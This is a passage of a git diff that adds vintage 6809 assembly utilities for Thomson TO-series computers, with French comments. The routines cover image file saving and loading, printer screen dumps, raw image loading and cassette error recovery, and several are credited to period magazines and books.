+AFF    LDB    ,Y
+       STB    ,X
+       LEAY   $78,Y
+       LEAX   $28,X
+       INCA
+       CMPA   #$40
+       BNE    AFF
+       LDX    $9005
+       LEAX   -1,X
+       STX    $9005
+       LDY    $9007
+       LEAY   -1,Y
+       STY    $9007
+       CMPX   $900B
+       BNE    BCL
+       RTS
+       END
diff --git a/code/3rdparty/sources4-divers/Micronews/ECRIT.ASM b/code/3rdparty/sources4-divers/Micronews/ECRIT.ASM
new file mode 100644
index 0000000..6409d82
--- /dev/null
+++ b/code/3rdparty/sources4-divers/Micronews/ECRIT.ASM
@@ -0,0 +1,93 @@
+*
+* ECRIT.ASM / ROUTINE SAVE
+*
+* GESTION D'IMAGES (C) A. PUKALL
+* MICRONEWS No 46 page 28
+*
+
+PRC    EQU    $E7C3   Données port C
+EXTRA  EQU    $EC0C   Appel extramonit.
+DKDRV  EQU    $6049   No du disk choisi
+FILMOD EQU    $624B   Mode fichier(OPEN)
+FILTYP EQU    $624C   Type de fichier:
+*                     0=BASIC programme
+*                     1=BASIC data file
+*                     2=Langage machine
+ASCFLG EQU    $624D   Flag ASCI:
+*                     00=fichier BIN
+*                     FF=fichier ASCI
+FILNAM EQU    $624F   Buf nom de fichier
+*                     8 car H624F->H6256
+FILEXT EQU    $6257   Buf ext nom fic.
+*                     3 car H6257->H6259
+OPTBUF EQU    $625A   Buf commentaire
+*                     8 car H625A->H6261
+
+       ORG    $71BA
+
+       JSR    INIT
+       LDB    #3
+       JSR    EXTRA
+       JSR    DEBUT
+       RTS
+INIT   LDA    #0      No lecteur:"0:"
+       STA    DKDRV
+       LDA    #$20    Mode d'accès:"H20"
+       STA    FILMOD  (ouvre en output)
+       LDA    #$41
+       STA    FILNAM  Nom de fichier:"A"
+       LDX    #$2020
+       STX    $6250   "Esp+Esp"
+       STX    $6252   "Esp+Esp"
+       STX    $6254   "Esp+Esp"
+       LDA    #$20
+       STA    $6256   "Esp"
+       LDA    #$42
+       STA    FILEXT  Extension:"B"
+       LDA    #$49
+       STA    $6258   "I"
+       LDA    #$4E
+       STA    $6259   "N"
+       LDX    #$4765
+       STX    OPTBUF  Commentaire:"Ge"
+       LDX    #$7374
+       STX    $625C   "st"
+       LDX    #$696D
+       STX    $625E   "im"
+       LDX    #$6167
+       STX    $6260   "ag"
+       LDA    #2
+       STA    FILTYP  2=fic en lang mach
+       LDA    #0
+       STA    ASCFLG  0=fichier binaire
+       RTS
+DEBUT  LDA    #5
+       STA    PRC
+       LDX    #$4000
+BOUC1  LDA    ,X
+       LDB    #4
+       JSR    EXTRA
+       LEAX   1,X
+       CMPX   #$5F4F
+       BNE    BOUC1
+       LDB    #6
+       JSR    EXTRA
+       JSR    INIT
+       LDA    #$42
+       STA    FILNAM  Nom du fichier:"B"
+       LDB    #3
+       JSR    EXTRA
+       LDA    #4
+       STA    PRC
+       LDX    #$4000
+BOUC2  LDA    ,X
+       LDB    #4
+       JSR    EXTRA
+       LEAX   1,X
+       CMPX   #$5F4F
+       BNE    BOUC2
+       LDB    #6
+       JSR    EXTRA
+       RTS
+       FCC    /(C)ALEXANDRE PUKALL/
+       END
diff --git a/code/3rdparty/sources4-divers/Micronews/LIT.ASM b/code/3rdparty/sources4-divers/Micronews/LIT.ASM
new file mode 100644
index 0000000..56e6312
--- /dev/null
+++ b/code/3rdparty/sources4-divers/Micronews/LIT.ASM
@@ -0,0 +1,87 @@
+*
+* LIT.ASM / ROUTINE READ
+*
+* GESTION D'IMAGES (C) A. PUKALL
+* MICRONEWS No 46 page 28
+*
+
+PRC    EQU    $E7C3   Données port C
+EXTRA  EQU    $EC0C   Appel extramonit.
+DKDRV  EQU    $6049   No du disk choisi
+CARCOU EQU    $6196   Car. que DFCHRI
+*                     vient de lire
+FILMOD EQU    $624B   Mode fichier(OPEN)
+FILTYP EQU    $624C   Type de fichier:
+*                     0=BASIC programme
+*                     1=BASIC data file
+*                     2=Machine lang.fil
+ASCFLG EQU    $624D   Flag ASCI:
+*                     00=fichier BIN
+*                     FF=fichier ASCI
+FILNAM EQU    $624F   Buf nom de fichier
+*                     8 car.H624F->H6256
+FILEXT EQU    $6257   Buf ext nom fic.
+*                     3 car.H6257->H6259
+
+       ORG    $B000
+
+       JSR    INIT
+       LDB    #3
+       JSR    EXTRA
+       JSR    DEBUT
+       RTS
+INIT   LDA    #0      No lecteur: "0:"
+       STA    DKDRV
+       LDA    #$10    Type d'accès:"H10"
+       STA    FILMOD  (ouvre en input)
+       LDA    #$41
+       STA    FILNAM  Nom de fichier:"A"
+       LDX    #$2020
+       STX    $6250   "Esp+Esp"
+       STX    $6252   "Esp+Esp"
+       STX    $6254   "Esp+Esp"
+       LDA    #$20
+       STA    $6256   "Esp"
+       LDA    #$42
+       STA    FILEXT  Extension:"B"
+       LDA    #$49
+       STA    $6258   "I"
+       LDA    #$4E
+       STA    $6259   "N"
+       LDA    #2
+       STA    FILTYP  2=fic en lang mach
+       LDA    #0
+       STA    ASCFLG  0=fichier binaire
+       RTS
+DEBUT  LDA    #5
+       STA    PRC
+       LDX    #$4000
+BOUC1  LDB    #5
+       JSR    EXTRA
+       LDA    CARCOU
+       STA    ,X
+       LEAX   1,X
+       CMPX   #$5F4F
+       BNE    BOUC1
+       LDB    #6
+       JSR    EXTRA
+       JSR    INIT
+       LDA    #$42    Nom du fichier:"B"
+       STA    FILNAM  (1er car.)
+       LDB    #3
+       JSR    EXTRA
+       LDA    #4
+       STA    PRC
+       LDX    #$4000
+BOUC2  LDB    #5
+       JSR    EXTRA
+       LDA    CARCOU
+       STA    ,X
+       LEAX   1,X
+       CMPX   #$5F4F
+       BNE    BOUC2
+       LDB    #6
+       JSR    EXTRA
+       RTS
+       FCC    /(C)ALEXANDRE PUKALL/
+       END
diff --git a/code/3rdparty/sources4-divers/Micronews/SCPR.ASM b/code/3rdparty/sources4-divers/Micronews/SCPR.ASM
new file mode 100644
index 0000000..0044c06
--- /dev/null
+++ b/code/3rdparty/sources4-divers/Micronews/SCPR.ASM
@@ -0,0 +1,178 @@
+***************************************
+
+** ** *** ** ** *  * *** *** * *  * ***
+*  *  * * *  *  ** * * * * *   ** *  *
+** *  **  ** ** * ** *** **  * * **  *
+ * *  * * *  *  *  * *   * * * *  *  *
+** ** * * ** ** *  * *   * * * *  *  *
+
+***************************************
+*                                     *
+* Par Michel SAINT-BRIANT / ASCI 1991 *
+*                                     *
+***************************************
+
+* Cette petite routine installée en
+* résident permet à tout programme BASIC
+* 512 d'émuler une imprimante compatible
+* IBM Proprinter (toutes les imprimantes
+* pour ordinateur de type PC.
+
+****************************************
+*                                      *
+* Ecrit spécialement pour les lecteurs *
+*                                      *
+* de MICRONEWS     (NANCY le 10/10/91) *
+*                                      *
+****************************************
+
+       ORG    $7800
+
+************** ^^^^ ****************
+* En fonction de certains programmes
+* qui utilisent la RAM en $7800 on
+* peut modifier cette valeur (jusqu'à
+* $9C00/$9D00 -> Attention à la pile!)
+************************************
+
+************************************
+* Déroutage de l'analyse des instruc-
+* tions BASIC. On cherche les codes
+* $FF,$A4,$AB correspondant à SCREEN-
+* PRINT et on les remplacera par un
+* TROFF inoffensif de code $91 après
+* avoir incrémenté de 2 le pointeur d'
+* instructions BASIC en $61C7.
+************************************
+
+
+INTER  PSHS   CC,X
+       CMPA   #$FF    Ordre BASIC 2ème
+       BNE    QUIT              \série
+       LDX    $61C7
+       LDX    1,X
+       CMPX   #$A4AB  si=SCREENPRINT
+       BEQ    SCRPRT  alors>SCRPRT
+QUIT   PULS   CC,X,PC sinon on sort.
+
+SCRPRT LDX    $61C7   pointeur=
+       LEAX   2,X     pointeur+2
+       STX    $61C7
+       LDA    #$91    En sortie on va
+       PSHS   DP,B,A,Y,U   \simuler un
+       LDX    #$4078        \TROFF
+       LDB    #$14    on éteint le cur-
+       JSR    $E803   seur (pollution!)
+       LDD    #$1B40  <-Ajouter ici d'
+       LBSR   PUTINT   éventuels codes
+NEWLIN ORCC   #$50     de commandes pour
+       LDA    #$28     impression spéci-
+       STA    -15,S    ales (dble frappe
+       LDD    #$3318   condensé,etc...)
+       LBSR   PUTESC
+       TST    $605F    est-ce en 40 col?
+       BEQ    CONS0
+CONS1  LDD    #$4C80   $4C est le code
+       LBSR   PUTESC   pour le graphisme
+       LDB    #$2      en double densité
+       LBSR   PUTCPR   suivi de longueur
+       BRA    NEWCAR   ($280=640 octets)
+CONS0  LDD    #$4B40   $4B est le code
+       LBSR   PUTESC   pour le graphisme
+       LDB    #$01     en simple densité
+       LBSR   PUTCPR   suivi de longueur
+NEWCAR LDA    $E7C3    ($140=320 octets)
+       ORA    #$01
+       STA    $E7C3   <- RAMA
+CAR80  LDA    -$78,X  lit le caractère
+       LDB    -$50,X  (les 8 lignes et
+       STD    -14,S    les stocke en
+       LDA    -$28,X   dessous de la pi-
+       LDB    ,X       le en sécurité)
+       STD    -12,S
+       LDA    $28,X
+       LDB    $50,X
+       STD    -10,S
+       LDA    $78,X
+       LDB    $A0,X
+       STD    -8,S
+       LDA    #$08    inversion de la
+INVMAT ROL    -14,S   matrice 8x8 du
+       ROLB           caractère-écran
+       ROL    -13,S   pour en faire
+       ROLB           la matrice 8x8
+       ROL    -12,S   du caractère-
+       ROLB               imprimante
+       ROL    -11,S          >> C >>>
+       ROLB                 /        \
+       ROL    -10,S        /          \
+       ROLB           ROL= <-xxxxxxxx-<
+       ROL    -9,S           <<<<<<<<
+       ROLB
+       ROL    -8,S     rotation à gauche
+       ROLB           le carry (C) va en
+       ROL    -7,S    b0,b0 en b1,b1 >b2
+       ROLB           etc...b6>b7 et b7
+       BSR    PUTCPR  va dans le carry C
+       DECA
+       BNE    INVMAT
+       LDA    $E7C3   est-on sur RAMA?
+       BITA   #$01
+       BEQ    TESTFL  test de fin de li-
+       TST    $605F   test mode    \gne.
+       BEQ    TESTFL  si 80 col alors
+       ANDA   #$FE    on passe en RAMB
+       STA    $E7C3   et on imprime le
+       BRA    CAR80   caractère suivant.
+TESTFL LEAX   1,X
+       DEC    -15,S   jusqu'en fin de
+       BNE    NEWCAR  ligne
+       LEAX   $0118,X
+       CMPX   #$5FB8  jusqu'en fin d'
+       BHS    FIN     écran
+       LDD    #$0A0D  code de saut de
+       BSR    PUTINT        \ligne
+       LBRA   NEWLIN
+FIN    LDD    #$1B40  réinitialisation
+       BSR    PUTINT  de l'imprimante.
+       PULS   U,Y,A,B,DP
+       PULS   X,CC,PC on sort...
+
+PUTESC PSHS   B,A     impression d'un
+       LDB    #$1B    code ESC ($1B) et
+       BSR    PUTCPR  de 2 autres codes.
+       PULS   A,B
+PUTINT PSHS   B       impression de deux
+       TFR    A,B     codes (A puis B)
+       BSR    PUTCPR
+       PULS   B
+PUTCPR PSHS   A       impression d'un
+BOUCLE LDA    $E7C3   Attente \caractere
+       ANDA   #$40    passage du bit 6
+       BNE    BOUCLE  de $E7C3 à 0
+       TFR    B,A
+       ANDA   #$FE    les bits 1 à 7 de
+       ANDB   #$01    l'octet sont mis
+       STD    -2,S    de 1 à 7 en $E7C8
+       LDD    $E7C8   et le bit 0 dans
+       ANDA   #$01    le bit 0 de $E7C9.
+       ANDB   #$FC
+       ADDD   -2,S
+       STD    $E7C8
+       ORB    #$02    signal d'envoi de
+       STB    $E7C9   caractère (bit1=1)
+       PULS   A,PC
+
+********************************
+*        Initialisation        *
+********************************
+
+INIT   PSHS   A,X     on installe la
+       LDX    #INTER  routine sur le
+       STX    $67C1   déroutage d'analy-
+       LDA    #$7E    se d'instructions
+       STA    $67C0   BASIC.
+       PULS   A,X,PC
+
+
+       END
diff --git a/code/3rdparty/sources4-divers/NO-IOERR.ASM b/code/3rdparty/sources4-divers/NO-IOERR.ASM
new file mode 100644
index 0000000..9cd8842
--- /dev/null
+++ b/code/3rdparty/sources4-divers/NO-IOERR.ASM
@@ -0,0 +1,70 @@
+
+
+
+
+*
+*            NO-IOERR.ASM
+*
+*   Programmation en assembleur TO7
+*   Editions Sybex Fagot et Barraly
+*         Annexe 1  pages 162
+*
+* ======================================
+*
+* Gestion de l'erreur I/O sur lecteur de
+* cassettes.Récupération de la partie du
+* programme chargée avant l'interruption
+* Autorise la fonction LIST pour listage
+* et sauvegarde par: LIST"CASS:XXX.BAS"
+*
+
+       ORG    32701
+
+       LDX    #26110
+SUITE  LDA    ,X+
+       CMPA   #0
+       BNE    SUITE   (-6)
+       STX    >26101
+       CLR    >26103
+       CLR    >26104
+       LDX    #26101
+SUITE2 LDX    ,X
+       STX    >32750
+       LDD    ,X
+       SUBD   >32750
+       CMPD   #256
+       BLO    SUITE2  (-16)
+       LDY    #0
+       STY    ,X
+       RTS
+       END
+
+*
+* Programme Basic équivalent
+*
+* 10 CLEAR,32699:FOR I=32701 TO 32745:
+*    READ I$:POKEI,VAL("&H"+I$):NEXT
+* 20 DATA 8E,65,FE,A6,80,81,00,26,FA,BF,
+*    65,F5,7F,65,F7,7F,65,F8,8E,65,F5,AE
+*    ,84,BF,7E,EE,EC,84,B3,7F,EE,10,83,
+*    01,00,25,F0,10,8E,00,00,10,AF,84,39
+*
+*
+* MODE D'EMPLOI:
+*
+* Executer le programme Taper: RUN
+*
+* Charger avec  LOAD  le programme défec
+* -tueux jusqu'au point d'erreur.
+*
+* Taper en mode direct: EXEC 32701
+*
+* Contôler avec:  LIST
+*
+* Sauvegander par: LIST"CASS:NOM.BAS"
+*
+*
+* Version assembleur:
+*
+* 10 CLEAR,32699:LOADM"NO-IOERR.BIN"
+*
diff --git a/code/3rdparty/sources4-divers/PAYSAGE1.ASM b/code/3rdparty/sources4-divers/PAYSAGE1.ASM
new file mode 100644
index 0000000..1e545ae
--- /dev/null
+++ b/code/3rdparty/sources4-divers/PAYSAGE1.ASM
@@ -0,0 +1,98 @@
+*
+*            PAYSAGE1.ASM
+*
+*    Passez facilement du BASIC au
+*   langage machine des TO7(70),TO9
+*   Programme No XXIX pages 203-215
+*
+*      Voir également PAYSAGE2
+*     Théophile No9 page 48 à 51
+*
+* =====================================
+*
+* Recopie d'écran en double dimensions
+* sur imprimante PR90-080.
+*
+
+RSOPC  EQU    $602B
+RSCOH  EQU    $E812
+
+       ORG    $7D00   Soit 32000
+P1     PSHS   U,Y,X,DP,D,CC
+R1     LDB    #$40    Ouverture// Ecrit.
+       STB    RSOPC
+       JSR    RSCOH
+R2     LBCS   D11
+R3     LDA    $E7C3   Mémoire-caractère
+       ORA    #1
+       STA    $E7C3
+R4     LDB    #8      .Code copie graph.
+       STB    RSOPC   .Imp.PR90-080+Mise
+       JSR    RSCOH   .en écriture
+       LBCS   D11
+       LDU    #&32000 Posit. pile U
+R7     LDX    #$4000-1 Début programme
+D1     LDA    #&40
+P2     PSHU   A
+D2     LEAX   1,X
+       LDA    #8
+P3     PSHU   A
+D3     LDA    #7
+P4     PSHU   A
+P5     PSHU   B
+D4     LDB    0,X
+P6     LDA    2,U
+D5     LSRB
+       DECA
+       BNE    D5
+P7     PULU   B
+       RORB
+P8     DEC    0,U
+       BEQ    D6
+P9     PSHU   B
+       LEAX   &40,X
+       BRA    D4
+D6     LSRB
+       ORB    #$80
+       TST    FLAG
+       BNE    D9
+D7     JSR    RSCOH   Impression
+       BCS    D11
+       LEAX   -(6*&40),X
+P10    PULU   A
+P11    DEC    0,U
+       BEQ    P12
+       BRA    D3
+P12    PULU   A
+P13    DEC    0,U
+       BEQ    P14
+       BRA    D2
+P14    PULU   A
+       LDB    #$0A    Avance lign/papier
+       JSR    RSCOH
+       BCS    D11
+       CMPX   #$5F3F-(&40*3)
+       BEQ    FIN
+       LEAX   (6*&40),X
+       CMPX   #$5F3F-(&40*4)
+       BEQ    D8
+       BRA    D1
+D8     INC    FLAG
+       BRA    D1
+D9     ANDB   #$8F
+       BRA    D7
+FIN    LDD    #$80A   3 copies/feuille
+D10    JSR    RSCOH
+       BCS    D11
+       DECA
+       BNE    D10
+D11    CLR    FLAG    R.a.z FLAG
+       LDB    #$0F    Mis.mod.caract.imp
+       JSR    RSCOH
+       LDB    #$10    Fermeture
+       STB    RSOPC
+       JSR    RSCOH
+P15    PULS   CC,D,DP,X,Y,U
+       SWI
+FLAG   FCB    00
+       END
diff --git a/code/3rdparty/sources4-divers/RAW16.ASM b/code/3rdparty/sources4-divers/RAW16.ASM
new file mode 100644
index 0000000..fc010cf
--- /dev/null
+++ b/code/3rdparty/sources4-divers/RAW16.ASM
@@ -0,0 +1,251 @@
+* LECTURE D'UNE IMAGE RAW
+* SOURCE :
+* 320X200 16 COULEURS
+* DESTINATION :
+* 160X200 16 COULEURS (BITMAP 16)
+*
+* COPYRIGHT (C) HOME SOFT 1992
+
+       ORG    $9000
+
+PUTC   EQU    $E803
+EXTRA  EQU    $EC0C
+DKDRV  EQU    $6049
+OPEN   EQU    03
+FILMOD EQU    $624B
+FILNAM EQU    $624F
+INPUT  EQU    05
+CARCOU EQU    $6196
+EOFFLG EQU    $6178
+CLOSE  EQU    06
+PRC    EQU    $E7C3
+
+START  PSHS   A,B,X,Y,U,DP,CC
+       LDB    #$1B
+       JSR    PUTC
+       LDB    #$5E
+       JSR    PUTC
+       LDB    #$14
+       JSR    PUTC
+       CLR    $E7DD
+
+       CLR    DKDRV
+       LDB    #$10
+       STB    FILMOD
+       LDX    #FILNAM
+       LDU    #NAME
+NA2    LDB    ,U+
+       BEQ    NA1
+       STB    ,X+
+       BRA    NA2
+
+NA1    LDB    #OPEN
+       JSR    EXTRA
+
+       LDX    #$4000
+       LDA    PRC
+       ANDA   #254
+       STA    PRC
+
+LI11   LDB    #INPUT
+       JSR    EXTRA
+       TST    EOFFLG
+       LBNE   STP
+       INC    PRC
+       LDA    CARCOU
+       LDB    ,X
+       LSLA
+       LSLA
+       BCC    LI12
+       ORB    #$10
+       BRA    LI13
+LI12   ANDB   #$EF
+LI13   LSLA
+       LSLA
+       BCC    LI14
+       ORB    #$01
+       BRA    LI15
+LI14   ANDB   #$FE
+LI15   STB    ,X
+       DEC    PRC
+       LDB    ,X
+       LSLA
+       LSLA
+       BCC    LI16
+       ORB    #$10
+       BRA    LI17
+LI16   ANDB   #$EF
+LI17   LSLA
+       LSLA
+       BCC    LI18
+       ORB    #$01
+       BRA    LI19
+LI18   ANDB   #$FE
+LI19   STB    ,X+
+       CMPX   #$5F40
+       BLO    LI11
+
+       LDX    #$4000
+
+LI21   LDB    #INPUT
+       JSR    EXTRA
+       TST    EOFFLG
+       LBNE   STP
+       INC    PRC
+       LDA    CARCOU
+       LDB    ,X
+       LSLA
+       LSLA
+       BCC    LI22
+       ORB    #$20
+       BRA    LI23
+LI22   ANDB   #$DF
+LI23   LSLA
+       LSLA
+       BCC    LI24
+       ORB    #$02
+       BRA    LI25
+LI24   ANDB   #$FD
+LI25   STB    ,X
+       DEC    PRC
+       LDB    ,X
+       LSLA
+       LSLA
+       BCC    LI26
+       ORB    #$20
+       BRA    LI27
+LI26   ANDB   #$DF
+LI27   LSLA
+       LSLA
+       BCC    LI28
+       ORB    #$02
+       BRA    LI29
+LI28   ANDB   #$FD
+LI29   STB    ,X+
+       CMPX   #$5F40
+       BLO    LI21
+
+       LDX    #$4000
+
+LI31   LDB    #INPUT
+       JSR    EXTRA
+       TST    EOFFLG
+       LBNE   STP
+       INC    PRC
+       LDA    CARCOU
+       LDB    ,X
+       LSLA
+       LSLA
+       BCC    LI32
+       ORB    #$40
+       BRA    LI33
+LI32   ANDB   #$BF
+LI33   LSLA
+       LSLA
+       BCC    LI34
+       ORB    #$04
+       BRA    LI35
+LI34   ANDB   #$FB
+LI35   STB    ,X
+       DEC    PRC
+       LDB    ,X
+       LSLA
+       LSLA
+       BCC    LI36
+       ORB    #$40
+       BRA    LI37
+LI36   ANDB   #$BF
+LI37   LSLA
+       LSLA
+       BCC    LI38
+       ORB    #$04
+       BRA    LI39
+LI38   ANDB   #$FB
+LI39   STB    ,X+
+       CMPX   #$5F40
+       BLO    LI31
+
+       LDX    #$4000
+
+LI41   LDB    #INPUT
+       JSR    EXTRA
+       TST    EOFFLG
+       LBNE   STP
+       INC    PRC
+       LDA    CARCOU
+       LDB    ,X
+       LSLA
+       LSLA
+       BCC    LI42
+       ORB    #$80
+       BRA    LI43
+LI42   ANDB   #$7F
+LI43   LSLA
+       LSLA
+       BCC    LI44
+       ORB    #$08
+       BRA    LI45
+LI44   ANDB   #$F7
+LI45   STB    ,X
+       DEC    PRC
+       LDB    ,X
+       LSLA
+       LSLA
+       BCC    LI46
+       ORB    #$80
+       BRA    LI47
+LI46   ANDB   #$7F
+LI47   LSLA
+       LSLA
+       BCC    LI48
+       ORB    #$08
+       BRA    LI49
+LI48   ANDB   #$F7
+LI49   STB    ,X+
+       CMPX   #$5F40
+       BLO    LI41
+
+       CLR    COUL
+A0     LDB    #INPUT
+       JSR    EXTRA
+       TST    EOFFLG
+       BNE    STP
+       LDA    CARCOU
+       STA    ROUGE
+       LDB    #INPUT
+       JSR    EXTRA
+       TST    EOFFLG
+       BNE    STP
+       LDA    CARCOU
+       ANDA   #$F0
+       STA    VERT
+       LDA    CARCOU
+       ANDA   #$0F
+       STA    BLEU
+
+       LDA    COUL
+       ASLA
+       STA    $E7DB
+       LDA    BLEU
+       LDB    VERT
+       ORB    ROUGE
+       STB    $E7DA
+       STA    $E7DA
+
+       INC    COUL
+       LDB    COUL
+       CMPB   #16
+       BLO    A0
+
+STP    LDB    #CLOSE
+       JSR    EXTRA
+       PULS   A,B,X,Y,U,DP,CC,PC
+
+NAME   FCC    "        RAW"
+       FCB    0
+COUL   RMB    1
+ROUGE  RMB    1
+VERT   RMB    1
+BLEU   RMB    1
+
+       END
diff --git a/code/3rdparty/sources4-divers/SOURCE40.SAP b/code/3rdparty/sources4-divers/SOURCE40.SAP
new file mode 100755
index 0000000..01af140
--- /dev/null
+++ b/code/3rdparty/sources4-divers/SOURCE40.SAP
Binary files differ
diff --git a/code/3rdparty/sources4-divers/SOURCE41.SAP b/code/3rdparty/sources4-divers/SOURCE41.SAP
new file mode 100755
index 0000000..fbbbeb7
--- /dev/null
+++ b/code/3rdparty/sources4-divers/SOURCE41.SAP
Binary files differ
diff --git a/code/3rdparty/sources4-divers/SPRINT.ASM b/code/3rdparty/sources4-divers/SPRINT.ASM
new file mode 100644
index 0000000..c0294bc
--- /dev/null
+++ b/code/3rdparty/sources4-divers/SPRINT.ASM
@@ -0,0 +1,387 @@
+       TITLE  SPRINT
+*    V1.0  du 10.11.91
+*    Guyot daniel 73 83 09 43
+* Machine TO et imprimante Citizen 120D+
+ECRIT  EQU    $0800
+CLOSE  EQU    $10
+OPEN   EQU    $40
+STAD   EQU    $4000
+ENDAD  EQU    $5F40
+*                         basic 1.0
+LECVIR EQU    $08F3
+SNERRO EQU    $0900       $07F3
+LECVAR EQU    $1108       $0EB8
+LEVAR1 EQU    $111A       $0EF1
+INTERP EQU    $201D       $2B38
+*
+RSOPC  EQU    $602B
+SCRMOD EQU    $605F
+NBSUP  EQU    $6773
+TABSUP EQU    $6774
+ADRSUP EQU    $6776
+*
+PRC    EQU    $E7C3
+RSCO   EQU    $E812
+
+       ORG    $9000
+
+EXEC   LDA    #1
+       STA    NBSUP
+       TFR    PC,D
+       ADDD   #$0014
+       STD    TABSUP      D -> TABFON
+       ADDD   #$0006
+       STD    ADRSUP      D -> INTFON
+       ADDD   #$001E
+       STD    ADRFON,PCR  D -> SPRINT
+       RTS
+
+TABFON FCC    "SPRIN"
+       FCB    $80+'T
+
+ADRFON RMB    2
+
+INTFON SUBA   #$F9        $F9=$80+$79
+       CMPA   #$00        fonction non
+       BLO    INT2        implantée
+       LDD    #$0F00
+       LEAX   TAB5,PCR
+INT1   STB    ,X+         mise à 0 des
+       DECA               buffeurs
+       BNE    INT1
+       LEAX   ADRFON,PCR
+       JMP    INTERP
+INT2   JMP    SNERRO
+
+SPRINT CMPA   #$00        Copie simple
+       BEQ    START
+       CMPA   #$2C        , -> var suite
+       BEQ    SPR1
+       CMPA   #$3A        : -> fin instr
+       BEQ    START
+       JSR    LECVAR
+       CMPB   #$01        copie simple
+       BLO    INT2
+       CMPB   #$03        copie triple
+       BHI    INT2        à venir
+       DECB
+       STB    TAB5,PCR    mode copie
+       CMPA   #$2C
+       BNE    START
+SPR1   JSR    LECVIR
+       BEQ    SPR2
+       JSR    LECVAR
+       CMPB   #$00        0  colonne
+       BLO    INT2
+       CMPB   #$20        32 colonnes
+       BHI    INT2
+       STB    TAB5+2,PCR  nb colonnes
+       CMPA   #$2C
+       BNE    START
+SPR2   JSR    LEVAR1
+       CMPB   #$00        0 ligne
+       LBLO   INT2
+       CMPB   #$2F        47 lignes
+       LBHI   INT2
+       STB    TAB5+3,PCR  nb lignes
+
+START  PSHS   U,Y,X,DP,B,A,CC
+       LEAX   TAB0,PCR    initialisation
+       LBSR   FOR0
+       LDA    #OPEN       ouverture //
+       STA    RSOPC
+       LBSR   IMP0
+       LDD    #ECRIT      écrit caracter
+       STA    RSOPC
+       LBSR   IMP0
+       LDB    SCRMOD
+       CMPB   #$80        mode 80/40 col
+       BNE    STA0        0 -> 40 col
+       INC    TAB5+5,PCR  1 -> 80 col
+STA0   TST    TAB5,PCR
+       BEQ    SCOP        copie simple
+
+       LBRA   DCOP        copie double
+
+TAB0   FCB    23
+       FCB    $48,$1B          dblfp off
+       FCB    $46,$1B          gras  off
+       FCB    $00,$78,$1B      nql   off
+       FCB    $01,$55,$1B      undir  on
+       FCB    $42,$43,$1B      lpag   66
+       FCB    $50,$1B          pica
+       FCB    $39,$1B
+       FCB    $00,$35,$7E,$1B  epson
+       FCB    $40,$1B          raz
+*    interligne 24/216 pouce
+TAB1   FCB    3
+       FCB    $18,$33,$1B
+*    lg ligne 256+231=2*200+87(marge)
+TAB2   FCB    5
+       FCB    $01,$E7,$05,$2A,$1B
+*    lg ligne 256+64=320 (marge=0)
+TAB3   FCB    5
+       FCB    $01,$40,$05,$2A,$1B
+TAB4   FCB    13
+       FCB    $0A,$0D          LF CR
+       FCB    $40,$1B
+       FCB    $00,$55,$1B      undir off
+*    pica espacement normal
+       FCB    $00,$33,$7E,$1B
+       FCB    $32,$1B          1/6 pouce
+TAB5   RMB    15
+
+SCOP   LDX    #$0000
+       LDA    #$05        72p/p  max 576
+       STA    TAB3+3,PCR
+       TST    TAB5+5,PCR
+       BEQ    SCO1
+
+       LDA    #$07        144p/p max1152
+       STA    TAB3+3,PCR
+       LEAX   $140,X      320 pts
+
+SCO1   LEAX   $140,X      320 pts
+       LDB    #$08
+       LDA    TAB5+2,PCR  nb colonnes
+       TST    TAB5+5,PCR
+       BEQ    SCO2
+
+       ASLA
+SCO2   MUL
+       LEAX   D,X
+       STX    TAB3+1,PCR
+       STD    TAB5+1,PCR
+
+       LDA    #$0A
+       STA    TAB5+4,PCR
+
+       LDX    #STAD
+       STX    TAB5+7,PCR
+       LDD    TAB5+3,PCR  nb ligne
+       TSTA
+       BEQ    SDE1
+       LBSR   FOR2
+SDE1   PSHS   X
+       LEAX   TAB1,PCR    interligne
+       LBSR   FOR0
+       LEAX   TAB3,PCR    longueur lg
+       LBSR   FOR0
+       PULS   X
+
+       LDD    TAB5+1,PCR  nb colonnes
+       PSHS   A
+       TFR    B,A
+       TSTA
+       BEQ    SDE2
+       CLRB
+       LBSR   FOR2
+SDE2   PULS   A
+       TSTA
+       BEQ    SDE3
+       DECA
+       PSHS   A
+       LDA    #$FF
+       LBSR   FOR2
+       LBSR   IMP0
+       BRA    SDE2
+
+SDE3   CLR    TAB5+10,PCR
+
+SDE4   LDA    #$08
+       STA    TAB5+11,PCR
+SDE5   CLR    TAB5+12,PCR
+       CLR    TAB5+13,PCR
+       LDB    TAB5+10,PCR
+       LDX    TAB5+7,PCR
+       LEAX   B,X
+SDE6   LDA    TAB5+11,PCR
+       STA    TAB5+14,PCR
+
+       TST    TAB5+6,PCR
+       BNE    SDE7
+       LBSR   RAMA        0 -> ramA
+       BRA    SDE8
+SDE7   LBSR   RAMB        1 -> ramB
+
+SDE8   LDB    ,X
+
+SDE9   RORB
+       TFR    CC,A
+       DEC    TAB5+14,PCR
+       BNE    SDE9
+       TFR    A,CC
+
+SDE10  ROL    TAB5+13,PCR
+       INC    TAB5+12,PCR
+       LDA    TAB5+12,PCR
+       CMPA   #$08        fin col caract
+       BEQ    SDE11
+       LEAX   $28,X       ligne suivante
+       BRA    SDE6
+
+SDE11  DEC    TAB5+11,PCR  -1 col caract
+       LDB    TAB5+13,PCR bits col carac
+
+       BSR    IMP0        ecrit col car
+
+       LDA    TAB5+11,PCR
+       BNE    SDE5        si>0 continuer
+
+
+       TST    TAB5+5,PCR  flag scrmod
+       BEQ    COL0
+       TST    TAB5+6,PCR  flag ram ecran
+       BNE    COL0
+       INC    TAB5+6,PCR
+       BRA    SDE4
+
+COL0   CLR    TAB5+6,PCR
+
+       INC    TAB5+10,PCR
+       LDA    TAB5+10,PCR
+       CMPA   #$28        nb colonnes
+       LBNE   SDE4
+
+       INC    TAB5+9,PCR
+
+       LDB    #$0D        fin de ligne
+       BSR    IMP0
+       PSHS   X
+       LEAX   TAB1,PCR    interligne
+       BSR    FOR0
+       PULS   X
+       LDB    #$0A
+       BSR    IMP0
+
+       LDA    TAB5+9,PCR
+       CMPA   #$19        nb lignes
+       LBEQ   FIN2        fin ecran
+
+       LDD    #$0140
+       LDX    TAB5+7,PCR
+       LEAX   D,X
+       STX    TAB5+7,PCR
+       LBRA   SDE1
+
+FOR0   LDA    ,X          transf tab(s)
+FOR1   LDB    A,X
+       BSR    IMP0
+       DECA
+       BNE    FOR1
+       RTS
+FOR2   BSR    IMP0
+       DECA
+       BNE    FOR2
+       RTS
+
+RAMA   LDA    PRC         ecran forme
+       ORA    #$01
+       STA    PRC
+       RTS
+
+RAMB   LDA    PRC         ecran fond
+       ANDA   #$FE
